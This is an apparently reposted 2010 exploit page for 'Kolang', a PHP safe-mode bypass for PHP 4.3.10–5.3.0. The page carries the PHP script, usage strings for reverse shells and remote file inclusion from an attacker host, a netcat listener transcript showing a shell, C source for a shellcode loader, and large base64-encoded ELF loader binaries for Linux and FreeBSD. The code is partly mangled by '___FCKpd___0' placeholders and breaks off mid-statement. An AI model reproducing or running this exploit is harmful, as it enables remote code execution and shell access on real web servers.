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Kolang (proc_open PHP safe mode bypass 4.3.10 - 5.3.0)
来源:http://www.bugtraq.ir 作者:Hamid 发布时间:2010-03-08  
======================================================
Kolang (proc_open PHP safe mode bypass 4.3.10 - 5.3.0)
======================================================

<?php
/*
Kolang (PHP Safe mode bypass)
(IHSteam priv8 for lazy penetration testers)
 
(php 4.3.10 - 5.3.0)
http://inj3ct0r.com/exploits/7824

1- Kolang can be used directly in file inclusion RFI&LFI vulnerabilities (no upload required)
2- Kolang can execute arbitrary shellcode (just for fans of metasploit )
 
~~~~ How to use:)
 
for linux:
    kolang.php?os=linux&host=LHOST&port=LPORT
    or
    kolang.php?os=linux&shell=BASE64_ENCODED_SHELLCODE
 
for freebsd:
    kolang.php?os=freebsd&shell=BASE64_ENCODED_SHELLCODE
 
file inclusion :
    http://host/vul.php?path=http://attacker/kolang.txt?&os=linux&host=LHOST&port=LPORT
 
 
http://localhost/kolang.php?host=localhost&port=2121
hamid@bugtraq ~ $ nc -vv -l -p 2121
listening on [any] 2121 ...
connect to [127.0.0.1] from bugtraq [127.0.0.1] 40526
id
uid=65534(nobody) gid=65533(nogroup) groups=65533(nogroup)
 
 
Hamid Ebadi
http://www.bugtraq.ir
contact : ebadi~bugtraq~ir
 
Kolang means pickaxe (the idea came from amnafzar naming convention)
(Separ, Sarand, Alak, Skort)
*/
 
 
$port= intval(
___FCKpd___0
REQUEST['port']); $host=
___FCKpd___0
REQUEST['host']; $os=
___FCKpd___0
REQUEST['os']; /* //compile : cc -o shellcode.so -fPIC -shared shellcode.c // //<?php //$data=file_get_contents('shellcode.so'); //file_put_contents('shellcode_base64.txt',$data); //?> // "shellcode loader" : load and execute arbitrary shellcode from a file // Hamid Ebadi #define O_RDONLY 00 ; fcntl.h #define SHELLCODE_MAX_SIZE 1024 // change kolang.php and shellcode loader if sys_get_temp_dir()!='/tmp' #define SHELLCODE_FILENAME "/tmp/.X11-IHSTEAM" void getuid() { unsetenv("LD_PRELOAD"); //not really necessary, we can remove it int fd; char shellcode[SHELLCODE_MAX_SIZE]; char filename[]=SHELLCODE_FILENAME ; // we can also pass the shellcode in program's arguments if ((fd = open(SHELLCODE_FILENAME,O_RDONLY)) < 0) { exit(1); } if (read(fd,shellcode,SHELLCODE_MAX_SIZE) < 0){ exit(1); } (*(void(*)()) shellcode)(); } */ if (
___FCKpd___0
REQUEST['os']=='freebsd'){ // freebsd shellcode loader (x86) $shellcode_loader= "f0VMRgEBAQkAAAAAAAAAAAMAAwABAAAAeAUAADQAAADsCQAAAAAAADQAIAADACgAFwAUAAEAAAAA AAAAAAAAAAAAAADhBwAA4QcAAAUAAAAAEAAAAQAAAOQHAADkFwAA5BcAAPwAAAAYAQAABgAAAAAQ AAACAAAA8AcAAPAXAADwFwAAoAAAAKAAAAAGAAAABAAAABEAAAAkAAAAAAAAAB0AAAAeAAAAIgAA ABUAAAAAAAAAAAAAABoAAAAcAAAAIwAAACEAAAAbAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXAAAAFAAAABYA AAAZAAAAAAAAAB8AAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJQAAAAAAAAAAwAB AAAAAABwAQAAAAAAAAMAAgAAAAAAsAMAAAAAAAADAAMAAAAAAGQEAAAAAAAAAwAEAAAAAACUBAAA AAAAAAMABQAAAAAA1AQAAAAAAAADAAYAAAAAAOgEAAAAAAAAAwAHAAAAAAB4BQAAAAAAAAMACAAA AAAAJAcAAAAAAAADAAkAAAAAADAHAAAAAAAAAwAKAAAAAADkFwAAAAAAAAMACwAAAAAA7BcAAAAA AAADAAwAAAAAAPAXAAAAAAAAAwANAAAAAACQGAAAAAAAAAMADgAAAAAAmBgAAAAAAAADAA8AAAAA AKAYAAAAAAAAAwAQAAAAAACkGAAAAAAAAAMAEQAAAAAA4BgAAAAAAAADABIAAAAAAAAAAAAAAAAA AwATAIQAAAAAAAAAAAAAABAAAAABAAAA8BcAAAAAAAARAPH/LAAAAAAAAAAAAAAAIAAAAH0AAABU BgAAnQAAABIACAAgAAAA1AQAAAAAAAASAAYAOwAAAAAAAAAAAAAAIAAAAJcAAAAAAAAAAAAAABAA AACjAAAA4BgAAAAAAAAQAPH/JgAAACQHAAAAAAAAEgAJAJwAAADgGAAAAAAAABAA8f8KAAAApBgA AAAAAAARAPH/rwAAAPwYAAAAAAAAEADx/5IAAAAAAAAAAAAAABAAAACNAAAAAAAAAAAAAAAQAAAA aQAAAAAAAAAAAAAAIAAAAFMAAAAAAAAAAAAAACAAAAAAX0RZTkFNSUMAX0dMT0JBTF9PRkZTRVRf VEFCTEVfAF9pbml0AF9maW5pAF9fY3hhX2ZpbmFsaXplAF9fZGVyZWdpc3Rlcl9mcmFtZV9pbmZv AF9fcmVnaXN0ZXJfZnJhbWVfaW5mbwBfSnZfUmVnaXN0ZXJDbGFzc2VzAGdldHVpZAB1bnNldGVu dgBvcGVuAGV4aXQAcmVhZABfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZADkFwAACAAAAOgXAAAIAAAA 0BgAAAYWAADUGAAABhkAANgYAAAGIgAA3BgAAAYjAACwGAAABxQAALQYAAAHFgAAuBgAAAcZAAC8 GAAABxoAAMAYAAAHIAAAxBgAAAchAADIGAAAByIAAMwYAAAHIwAAg+wM6BQBAADoEwIAAIPEDMMA AAD/swQAAAD/owgAAAAAAAAA/6MMAAAAaAAAAADp4P////+jEAAAAGgIAAAA6dD/////oxQAAABo EAAAAOnA/////6MYAAAAaBgAAADpsP////+jHAAAAGggAAAA6aD/////oyAAAABoKAAAAOmQ//// /6MkAAAAaDAAAADpgP////+jKAAAAGg4AAAA6XD///9VieVT6AAAAABbgcMjEwAAUYC7PAAAAAB1 WIuTLAAAAIXSdB+D7Az/s0D////oXv///4PEEOsMkIPABImDRP/////Si4NE////ixCF0nXpi4Mw AAAAhcB0EoPsDI2DSP///1DoOP///4PEEMaDPAAAAAGLXfzJw5BVieVT6AAAAABbgcOrEgAAUIuD OAAAAIXAdBmD7AiNg0AAAABQjYNI////UOhH////g8QQi4P8////hcB0HouDNAAAAIXAdBSD7AyN g/z///9Q6BH///+DxBCJ9otd/MnDkJCQVYnlV1ZTgew8BAAA6AAAAABbgcM/EgAAg+wMjYPW7v// UOh9/v//g8QQjb24+///jbPh7v///LkSAAAA86SD7AhqAI2D4e7//1Dopf7//4PEEIlF5IN95AB5 CoPsDGoB6H/+//+D7ARoAAQAAI2F2Pv//1D/deToWP7//4PEEIXAeQqD7AxqAehX/v//jYXY+/// /9CNZfRbXl/Jw5CQkFWJ5VZT6AAAAABbgcOmEQAAjYPw////jXD8i0D86wiQg+4E/9CLBoP4/3X0 W17Jw4PsDOhM/v//g8QMwyRGcmVlQlNEOiBzcmMvbGliL2NzdS9pMzg2LWVsZi9jcnRpLlMsdiAx LjcgMjAwNS8wNS8xOSAwNzozMTowNiBkZnIgRXhwICQATERfUFJFTE9BRAAvdG1wLy5YMTEtSUhT VEVBTQAkRnJlZUJTRDogc3JjL2xpYi9jc3UvaTM4Ni1lbGYvY3J0bi5TLHYgMS42IDIwMDUvMDUv MTkgMDc6MzE6MDYgZGZyIEV4cCAkAAAAAOQXAACcGAAAAAAAAAwAAADUBAAADQAAACQHAAAEAAAA lAAAAAUAAACwAwAABgAAAHABAAAKAAAAtAAAAAsAAAAQAAAAAwAAAKQYAAACAAAAQAAAABQAAAAR AAAAFwAAAJQEAAARAAAAZAQAABIAAAAwAAAAEwAAAAgAAAD6//9vAgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAPAXAAAAAAAAAAAA AP4EAAAOBQAAHgUAAC4FAAA+BQAATgUAAF4FAABuBQAAAAAAAAAAAAAAAAAAAAAAAABHQ0M6IChH TlUpIDMuNC42IFtGcmVlQlNEXSAyMDA2MDMwNQAAR0NDOiAoR05VKSAzLjQuNiBbRnJlZUJTRF0g MjAwNjAzMDUAAEdDQzogKEdOVSkgMy40LjYgW0ZyZWVCU0RdIDIwMDYwMzA1AAAuc3ltdGFiAC5z dHJ0YWIALnNoc3RydGFiAC5oYXNoAC5keW5zeW0ALmR5bnN0cgAucmVsLmR5bgAucmVsLnBsdAAu aW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5kYXRhAC5laF9mcmFtZQAuZHluYW1pYwAuY3RvcnMA LmR0b3JzAC5qY3IALmdvdAAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAGwAAAAUAAAACAAAAlAAAAJQAAADcAAAAAgAAAAAAAAAEAAAABAAAACEA AAALAAAAAgAAAHABAABwAQAAQAIAAAMAAAAUAAAABAAAABAAAAApAAAAAwAAAAIAAACwAwAAsAMA ALQAAAAAAAAAAAAAAAEAAAAAAAAAMQAAAAkAAAACAAAAZAQAAGQEAAAwAAAAAgAAAAAAAAAEAAAA CAAAADoAAAAJAAAAAgAAAJQEAACUBAAAQAAAAAIAAAAHAAAABAAAAAgAAABDAAAAAQAAAAYAAADU BAAA1AQAABEAAAAAAAAAAAAAAAQAAAAAAAAAPgAAAAEAAAAGAAAA6AQAAOgEAACQAAAAAAAAAAAA AAAEAAAABAAAAEkAAAABAAAABgAAAHgFAAB4BQAArAEAAAAAAAAAAAAABAAAAAAAAABPAAAAAQAA AAYAAAAkBwAAJAcAAAwAAAAAAAAAAAAAAAQAAAAAAAAAVQAAAAEAAAACAAAAMAcAADAHAACxAAAA AAAAAAAAAAABAAAAAAAAAF0AAAABAAAAAwAAAOQXAADkBwAACAAAAAAAAAAAAAAABAAAAAAAAABj AAAAAQAAAAIAAADsFwAA7AcAAAQAAAAAAAAAAAAAAAQAAAAAAAAAbQAAAAYAAAADAAAA8BcAAPAH AACgAAAAAwAAAAAAAAAEAAAACAAAAHYAAAABAAAAAwAAAJAYAACQCAAACAAAAAAAAAAAAAAABAAA AAAAAAB9AAAAAQAAAAMAAACYGAAAmAgAAAgAAAAAAAAAAAAAAAQAAAAAAAAAhAAAAAEAAAADAAAA oBgAAKAIAAAEAAAAAAAAAAAAAAAEAAAAAAAAAIkAAAABAAAAAwAAAKQYAACkCAAAPAAAAAAAAAAA AAAABAAAAAQAAACOAAAACAAAAAMAAADgGAAA4AgAABwAAAAAAAAAAAAAAAQAAAAAAAAAkwAAAAEA AAAAAAAAAAAAAOAIAABvAAAAAAAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAABPCQAAnAAA AAAAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAhA0AABAEAAAWAAAAMQAAAAQAAAAQAAAA CQAAAAMAAAAAAAAAAAAAAJQRAAD1AQAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAlAAAAAAAAAADAAEAAAAAAHABAAAAAAAAAwACAAAAAACwAwAAAAAAAAMAAwAAAAAAZAQAAAAA AAADAAQAAAAAAJQEAAAAAAAAAwAFAAAAAADUBAAAAAAAAAMABgAAAAAA6AQAAAAAAAADAAcAAAAA AHgFAAAAAAAAAwAIAAAAAAAkBwAAAAAAAAMACQAAAAAAMAcAAAAAAAADAAoAAAAAAOQXAAAAAAAA AwALAAAAAADsFwAAAAAAAAMADAAAAAAA8BcAAAAAAAADAA0AAAAAAJAYAAAAAAAAAwAOAAAAAACY GAAAAAAAAAMADwAAAAAAoBgAAAAAAAADABAAAAAAAKQYAAAAAAAAAwARAAAAAADgGAAAAAAAAAMA EgAAAAAAAAAAAAAAAAADABMAAAAAAAAAAAAAAAAAAwAUAAAAAAAAAAAAAAAAAAMAFQAAAAAAAAAA AAAAAAADABYAAQAAAAAAAAAAAAAABADx/yIAAAAAAAAAAAAAAAQA8f8xAAAAAAAAAAAAAAAEAPH/ AQAAAAAAAAAAAAAABADx/zwAAAAAAAAAAAAAAAQA8f9HAAAAkBgAAAAAAAABAA4AVQAAAJgYAAAA AAAAAQAPAGMAAADsFwAAAAAAAAEADAB2AAAAoBgAAAAAAAABABAAgwAAAOgXAAAAAAAAAQALAIcA AADgGAAAAQAAAAEAEgCTAAAAeAUAAAAAAAACAAgAqQAAAOQYAAAYAAAAAQASALIAAADwBQAAAAAA AAIACAA8AAAAAAAAAAAAAAAEAPH/vgAAAJQYAAAAAAAAAQAOAMsAAACcGAAAAAAAAAEADwDYAAAA 7BcAAAAAAAABAAwA5gAAAKAYAAAAAAAAAQAQAPIAAAD0BgAAAAAAAAIACAAIAQAAAAAAAAAAAAAE APH/IgAAAAAAAAAAAAAABADx/zEAAAAAAAAAAAAAAAQA8f8IAQAAAAAAAAAAAAAEAPH/KQEAAAAA AAAAAAAABADx/zUBAADkFwAAAAAAAAECCwBCAQAAAAAAAAAAAAAQAAAASwEAAPAXAAAAAAAAEQDx /1QBAAAAAAAAAAAAACAAAABjAQAAVAYAAJ0AAAASAAgAagEAANQEAAAAAAAAEgAGAHABAAAAAAAA AAAAACAAAACIAQAAAAAAAAAAAAAQAAAAjQEAAOAYAAAAAAAAEADx/5kBAAAkBwAAAAAAABIACQCf AQAA4BgAAAAAAAAQAPH/pgEAAKQYAAAAAAAAEQDx/7wBAAD8GAAAAAAAABAA8f/BAQAAAAAAAAAA AAAQAAAAxgEAAAAAAAAAAAAAEAAAAMsBAAAAAAAAAAAAACAAAADfAQAAAAAAAAAAAAAgAAAAAC91 c3Ivc3JjL2xpYi9jc3UvaTM4Ni1lbGYvY3J0aS5TADxjb21tYW5kIGxpbmU+ADxidWlsdC1pbj4A Y3J0c3R1ZmYuYwBfX0NUT1JfTElTVF9fAF9fRFRPUl9MSVNUX18AX19FSF9GUkFNRV9CRUdJTl9f AF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AG9iamVj dC4yAGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBf X0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAL3Vzci9zcmMvbGliL2NzdS9pMzg2LWVs Zi9jcnRuLlMAc2hlbGxjb2RlLmMAX19kc29faGFuZGxlAHVuc2V0ZW52AF9EWU5BTUlDAF9fY3hh X2ZpbmFsaXplAGdldHVpZABfaW5pdABfX2RlcmVnaXN0ZXJfZnJhbWVfaW5mbwByZWFkAF9fYnNz X3N0YXJ0AF9maW5pAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABleGl0AG9wZW4A X0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX3JlZ2lzdGVyX2ZyYW1lX2luZm8A"; }else{ // default: linux // linux shellcode loader (x86) $shellcode_loader= "f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAIAQAADQAAACIEQAAAAAAADQAIAAGACgAGwAYAAEAAAAA AAAAAAAAAAAAAABIBgAASAYAAAUAAAAAEAAAAQAAAAwPAAAMHwAADB8AABABAAAYAQAABgAAAAAQ AAACAAAAIA8AACAfAAAgHwAAyAAAAMgAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAA AAYAAAAEAAAAUuV0ZAwPAAAMHwAADB8AAPQAAAD0AAAABAAAAAEAAACAFQRlAAAAAAAAAAAAAAAA AAAAAAAAAAAAKAAABAAAAAMAAAAOAAAADAAAAAcAAAAGAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAN AAAACwAAAAkAAAADAAAABQAAAAgAAAABAAAACgAAAAQAAAADAAAACAAAAAIAAAAGAAAAiAAhAQDE QAkIAAAACwAAAA0AAAAGpIf/uuOSfENF1ezYcVgcuY3xDuvT7w4AAAAAAAAAAAAAAAAAAAAATwAA AAAAAAB6AAAAEgAAAAEAAAAAAAAAAAAAACAAAAArAAAAAAAAAAAAAAAgAAAARgAAAAAAAAD+AAAA EgAAAFkAAAAAAAAAegAAABIAAAAcAAAAAAAAAAsBAAAiAAAAVAAAAAAAAAD9AAAAEgAAAD8AAAAM BQAAvQAAABIACwB7AAAAJCAAAAAAAAAQAPH/aAAAABwgAAAAAAAAEADx/28AAAAcIAAAAAAAABAA 8f8QAAAAkAMAAAAAAAASAAkAFgAAAAgGAAAAAAAAEgAMAABfX2dtb25fc3RhcnRfXwBfaW5pdABf ZmluaQBfX2N4YV9maW5hbGl6ZQBfSnZfUmVnaXN0ZXJDbGFzc2VzAGdldHVpZAB1bnNldGVudgBv cGVuAGV4aXQAcmVhZABsaWJjLnNvLjYAX2VkYXRhAF9fYnNzX3N0YXJ0AF9lbmQAR0xJQkNfMi4x LjMAR0xJQkNfMi4wAAAAAgAAAAAAAgACAAMAAgABAAEAAQABAAEAAQAAAAEAAgBeAAAAEAAAAAAA AABzH2kJAAADAIAAAAAQAAAAEGlpDQAAAgCMAAAAAAAAABggAAAIAAAA6B8AAAYCAADsHwAABgMA APAfAAAGBgAAACAAAAcBAAAEIAAABwIAAAggAAAHBAAADCAAAAcFAAAQIAAABwYAABQgAAAHBwAA VYnlg+wI6IUAAADoMAEAAOgrAgAAycMA/7MEAAAA/6MIAAAAAAAAAP+jDAAAAGgAAAAA6eD///// oxAAAABoCAAAAOnQ/////6MUAAAAaBAAAADpwP////+jGAAAAGgYAAAA6bD/////oxwAAABoIAAA AOmg/////6MgAAAAaCgAAADpkP///wAAAAAAAAAAVYnlU4PsBOgAAAAAW4HDyBsAAIuT9P///4XS dAXohv///1hbycOQkJCQkJCQkJCQVYnlVlPorQAAAIHDmhsAAIPsEIC7KAAAAAB1XYuD/P///4XA dA6LgyQAAACJBCTodP///4uLLAAAAI2DJP///42TIP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmD LAAAAP+UgyD///+LiywAAAA58XLmxoMoAAAAAYPEEFteXcNVieVT6C4AAACBwxsbAACD7ASLkyj/ //+F0nQVi5P4////hdJ0C42DKP///4kEJP/Sg8QEW13Dixwkw5BVieVTgew0BAAA6Oz///+Bw9ka AACNgzDm//+JBCToqf7//8eF5vv//y90bXDHher7//8vLlgxx4Xu+///MS1JSMeF8vv//1NURUFm x4X2+///TQDHRCQEAAAAAI2DO+b//4kEJOhC/v//iUX4g334AHkMxwQkAQAAAOh9/v//x0QkCAAE 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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAABAAAA XgAAAAwAAACQAwAADQAAAAgGAAAEAAAA9AAAAPX+/29AAQAABQAAAFwCAAAGAAAAfAEAAAoAAACW AAAACwAAABAAAAADAAAA9B8AAAIAAAAwAAAAFAAAABEAAAAXAAAAYAMAABEAAABAAwAAEgAAACAA AAATAAAACAAAAP7//28QAwAA////bwEAAADw//9v8gIAAPr//28BAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAfAAAAAAAAAAAAAL4DAADOAwAA 3gMAAO4DAAD+AwAADgQAABggAAAAR0NDOiAoR2VudG9vIDQuMy4xLXIxIHAxLjEpIDQuMy4xAABH Q0M6IChHZW50b28gNC4zLjIgcDEuMSkgNC4zLjIAAEdDQzogKEdlbnRvbyA0LjMuMiBwMS4xKSA0 LjMuMgAAR0NDOiAoR2VudG9vIDQuMy4yIHAxLjEpIDQuMy4yAABHQ0M6IChHZW50b28gNC4zLjEt cjEgcDEuMSkgNC4zLjEAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmdudS5oYXNoAC5keW5z eW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQA LmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALmN0b3JzAC5kdG9ycwAuamNyAC5k eW5hbWljAC5nb3QALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8AAAAFAAAAAgAAAPQAAAD0AAAATAAAAAMAAAAAAAAA BAAAAAQAAAAbAAAA9v//bwIAAABAAQAAQAEAADwAAAADAAAAAAAAAAQAAAAEAAAAJQAAAAsAAAAC AAAAfAEAAHwBAADgAAAABAAAAAEAAAAEAAAAEAAAAC0AAAADAAAAAgAAAFwCAABcAgAAlgAAAAAA AAAAAAAAAQAAAAAAAAA1AAAA////bwIAAADyAgAA8gIAABwAAAADAAAAAAAAAAIAAAACAAAAQgAA AP7//28CAAAAEAMAABADAAAwAAAABAAAAAEAAAAEAAAAAAAAAFEAAAAJAAAAAgAAAEADAABAAwAA IAAAAAMAAAAAAAAABAAAAAgAAABaAAAACQAAAAIAAABgAwAAYAMAADAAAAADAAAACgAAAAQAAAAI AAAAYwAAAAEAAAAGAAAAkAMAAJADAAAXAAAAAAAAAAAAAAAEAAAAAAAAAF4AAAABAAAABgAAAKgD AACoAwAAcAAAAAAAAAAAAAAABAAAAAQAAABpAAAAAQAAAAYAAAAgBAAAIAQAAOgBAAAAAAAAAAAA ABAAAAAAAAAAbwAAAAEAAAAGAAAACAYAAAgGAAAcAAAAAAAAAAAAAAAEAAAAAAAAAHUAAAABAAAA AgAAACQGAAAkBgAAHQAAAAAAAAAAAAAAAQAAAAAAAAB9AAAAAQAAAAIAAABEBgAARAYAAAQAAAAA AAAAAAAAAAQAAAAAAAAAhwAAAAEAAAADAAAADB8AAAwPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAI4A AAABAAAAAwAAABQfAAAUDwAACAAAAAAAAAAAAAAABAAAAAAAAACVAAAAAQAAAAMAAAAcHwAAHA8A AAQAAAAAAAAAAAAAAAQAAAAAAAAAmgAAAAYAAAADAAAAIB8AACAPAADIAAAABAAAAAAAAAAEAAAA CAAAAKMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACoAAAAAQAAAAMAAAD0 HwAA9A8AACQAAAAAAAAAAAAAAAQAAAAEAAAAsQAAAAEAAAADAAAAGCAAABgQAAAEAAAAAAAAAAAA AAAEAAAAAAAAALcAAAAIAAAAAwAAABwgAAAcEAAACAAAAAAAAAAAAAAABAAAAAAAAAC8AAAAAQAA AAAAAAAAAAAAHBAAAKYAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAMIQAADFAAAA AAAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAADAFQAAsAIAABoAAAAeAAAABAAAABAAAAAJ AAAAAwAAAAAAAAAAAAAAcBgAAAsBAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD0AAAAAAAAAAMAAQAAAAAAQAEAAAAAAAADAAIAAAAAAHwBAAAAAAAAAwADAAAAAABcAgAAAAAA AAMABAAAAAAA8gIAAAAAAAADAAUAAAAAABADAAAAAAAAAwAGAAAAAABAAwAAAAAAAAMABwAAAAAA YAMAAAAAAAADAAgAAAAAAJADAAAAAAAAAwAJAAAAAACoAwAAAAAAAAMACgAAAAAAIAQAAAAAAAAD AAsAAAAAAAgGAAAAAAAAAwAMAAAAAAAkBgAAAAAAAAMADQAAAAAARAYAAAAAAAADAA4AAAAAAAwf AAAAAAAAAwAPAAAAAAAUHwAAAAAAAAMAEAAAAAAAHB8AAAAAAAADABEAAAAAACAfAAAAAAAAAwAS AAAAAADoHwAAAAAAAAMAEwAAAAAA9B8AAAAAAAADABQAAAAAABggAAAAAAAAAwAVAAAAAAAcIAAA AAAAAAMAFgAAAAAAAAAAAAAAAAADABcAAQAAAAAAAAAAAAAABADx/w0AAAD0HwAAAAAAAAEC8f8j AAAAGCAAAAAAAAABAhUAMAAAABgfAAAAAAAAAQIQAD0AAAAHBQAAAAAAAAICCwBUAAAAIB8AAAAA AAABAvH/XQAAAAAAAAB6AAAAEgAAAG0AAAAAAAAAAAAAACAAAAB8AAAAAAAAAAAAAAAgAAAAkAAA AAAAAAD+AAAAEgAAAKQAAAAIBgAAAAAAABIADACqAAAAAAAAAHoAAAASAAAAugAAABwgAAAAAAAA EADx/8YAAAAMBQAAvQAAABIACwDNAAAAJCAAAAAAAAAQAPH/0gAAABwgAAAAAAAAEADx/9kAAAAA AAAACwEAACIAAAD1AAAAAAAAAP0AAAASAAAABQEAAJADAAAAAAAAEgAJAABzaGVsbGNvZGUuYwBf R0xPQkFMX09GRlNFVF9UQUJMRV8AX19kc29faGFuZGxlAF9fRFRPUl9FTkRfXwBfX2k2ODYuZ2V0 X3BjX3RodW5rLmJ4AF9EWU5BTUlDAG9wZW5AQEdMSUJDXzIuMABfX2dtb25fc3RhcnRfXwBfSnZf UmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElCQ18yLjAAX2ZpbmkAcmVhZEBAR0xJQkNfMi4w AF9fYnNzX3N0YXJ0AGdldHVpZABfZW5kAF9lZGF0YQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4x LjMAZXhpdEBAR0xJQkNfMi4wAF9pbml0AA==" ; } if 